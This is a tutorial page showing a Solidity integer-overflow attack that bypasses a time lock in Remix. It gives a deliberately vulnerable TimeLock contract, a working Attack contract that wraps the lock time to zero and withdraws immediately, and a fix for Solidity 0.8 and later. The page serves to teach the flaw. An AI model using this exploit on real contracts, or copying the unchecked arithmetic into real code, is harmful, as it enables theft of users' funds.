← Home

Integer Overflow Attack — TimeLock Bypass

Exploit integer overflow in Solidity <0.8.0 to bypass time locks instantly. Use Remix IDE with JavaScript VM to demonstrate this classic vulnerability.

How the Hack Works

The Math Behind the Attack

  1. Normal behavior: Deposit locks funds for 1 week (604,800 seconds)
  2. Overflow setup: Calculate type(uint256).max + 1 - lockTime
  3. Integer overflow: Adding this value causes lockTime to wrap around to 0
  4. Instant unlock: block.timestamp > 0 is always true
  5. Immediate withdrawal: Bypass the entire time lock mechanism

🔢 Key Insight:

In Solidity <0.8.0, integers wrap around when they exceed their maximum value. uint256.max + 1 = 0 — this mathematical quirk allows attackers to manipulate time locks by causing controlled overflow.

📌 Technical Details:
  • type(uint256).max equals 2²⁵⁶ - 1, the largest possible uint256 value
  • Overflow calculation: lockTime + overflowAmount wraps back to 0 or a very small number
  • Modern prevention: Solidity ≥0.8.0 has automatic overflow protection, making this attack impossible in newer versions

Step 1: Open Remix & Select Environment

Step 2: Deploy TimeLock Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "hardhat/console.sol";

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    event Deposit(address indexed user, uint256 amount, uint256 unlockTime);
    event LockTimeIncreased(address indexed user, uint256 newLockTime, uint256 increase);
    event Withdrawal(address indexed user, uint256 amount);

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks; // Lock for 1 week
        
        console.log("=== DEPOSIT ===");
        console.log("User:", msg.sender);
        console.log("Amount deposited:", msg.value);
        console.log("Current timestamp:", block.timestamp);
        console.log("Lock expires at:", lockTime[msg.sender]);
        console.log("Lock duration (seconds):", lockTime[msg.sender] - block.timestamp);
        
        emit Deposit(msg.sender, msg.value, lockTime[msg.sender]);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        uint256 oldLockTime = lockTime[msg.sender];
        
        console.log("=== INCREASE LOCK TIME ===");
        console.log("User:", msg.sender);
        console.log("Current lock time:", oldLockTime);
        console.log("Seconds to increase:", _secondsToIncrease);
        console.log("Max uint256:", type(uint256).max);
        
        // 🚨 VULNERABILITY: No overflow protection in Solidity <0.8.0
        lockTime[msg.sender] += _secondsToIncrease;
        
        console.log("New lock time:", lockTime[msg.sender]);
        console.log("Overflow occurred:", lockTime[msg.sender] < oldLockTime ? "YES" : "NO");
        
        emit LockTimeIncreased(msg.sender, lockTime[msg.sender], _secondsToIncrease);
    }

    function withdraw() public {
        console.log("=== WITHDRAWAL ATTEMPT ===");
        console.log("User:", msg.sender);
        console.log("Current timestamp:", block.timestamp);
        console.log("User's lock time:", lockTime[msg.sender]);
        console.log("Lock expired:", block.timestamp > lockTime[msg.sender] ? "YES" : "NO");
        console.log("Balance:", balances[msg.sender]);
        
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        console.log("Withdrawing amount:", amount);

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
        
        console.log("Withdrawal successful!");
        emit Withdrawal(msg.sender, amount);
    }

    // Helper function to check time remaining
    function getTimeRemaining(address user) external view returns (uint256) {
        if (block.timestamp >= lockTime[user]) {
            return 0;
        }
        return lockTime[user] - block.timestamp;
    }
}

Step 3: Normal User Deposits

Step 4: Deploy Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "hardhat/console.sol";

interface ITimeLock {
    function deposit() external payable;
    function increaseLockTime(uint256 _secondsToIncrease) external;
    function withdraw() external;
    function lockTime(address user) external view returns (uint256);
    function balances(address user) external view returns (uint256);
}

contract Attack {
    ITimeLock public timeLock;

    event AttackStarted(uint256 depositAmount);
    event OverflowCalculated(uint256 currentLockTime, uint256 overflowAmount);
    event AttackCompleted(uint256 withdrawnAmount);

    constructor(address _timeLock) {
        timeLock = ITimeLock(_timeLock);
        console.log("Attack contract deployed, targeting:", _timeLock);
    }

    // Fallback to receive ETH
    fallback() external payable {
        console.log("Attack contract received ETH:", msg.value);
    }

    function attack() public payable {
        require(msg.value > 0, "Must send ETH to attack");
        
        console.log(">>> OVERFLOW ATTACK STARTED <<<");
        console.log("Attack amount:", msg.value);
        console.log("Current block timestamp:", block.timestamp);
        
        emit AttackStarted(msg.value);

        // Step 1: Deposit funds (this sets our lock time)
        console.log("Step 1: Depositing funds...");
        timeLock.deposit{value: msg.value}();
        
        uint256 currentLockTime = timeLock.lockTime(address(this));
        console.log("Our lock time after deposit:", currentLockTime);
        
        // Step 2: Calculate overflow amount
        // We want: currentLockTime + overflowAmount = 0 (or very small number)
        // So: overflowAmount = type(uint256).max + 1 - currentLockTime
        // But type(uint256).max + 1 = 0 due to overflow
        // So: overflowAmount = 0 - currentLockTime = type(uint256).max - currentLockTime + 1
        uint256 overflowAmount = type(uint256).max - currentLockTime + 1;
        
        console.log("Step 2: Calculating overflow...");
        console.log("type(uint256).max:", type(uint256).max);
        console.log("Current lock time:", currentLockTime);
        console.log("Calculated overflow amount:", overflowAmount);
        console.log("Expected result after overflow:", currentLockTime + overflowAmount);
        
        emit OverflowCalculated(currentLockTime, overflowAmount);

        // Step 3: Cause integer overflow
        console.log("Step 3: Triggering integer overflow...");
        timeLock.increaseLockTime(overflowAmount);
        
        uint256 newLockTime = timeLock.lockTime(address(this));
        console.log("Lock time after overflow:", newLockTime);
        console.log("Is overflow successful:", newLockTime < currentLockTime ? "YES" : "NO");
        console.log("Can withdraw now:", block.timestamp > newLockTime ? "YES" : "NO");

        // Step 4: Immediately withdraw (bypass time lock!)
        console.log("Step 4: Attempting immediate withdrawal...");
        timeLock.withdraw();
        
        uint256 finalBalance = address(this).balance;
        console.log("Final contract balance:", finalBalance);
        console.log(">>> OVERFLOW ATTACK COMPLETED <<<");
        
        emit AttackCompleted(finalBalance);
    }

    // Function to check our status in the TimeLock
    function checkStatus() external view returns (uint256 balance, uint256 lockTime, uint256 timeRemaining) {
        balance = timeLock.balances(address(this));
        lockTime = timeLock.lockTime(address(this));
        timeRemaining = lockTime > block.timestamp ? lockTime - block.timestamp : 0;
    }

    // Function to withdraw any ETH from this contract
    function drain() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Step 5: Execute the Overflow Attack

Step 6: Verify the Exploit

Prevention & Modern Solidity

🛡️ How to Prevent This Attack

Modern Safe Version:

// Solidity ≥0.8.0 automatically prevents overflow
function increaseLockTime(uint256 _secondsToIncrease) public {
    require(_secondsToIncrease <= 365 days, "Increase too large");
    lockTime[msg.sender] += _secondsToIncrease; // Will revert on overflow
}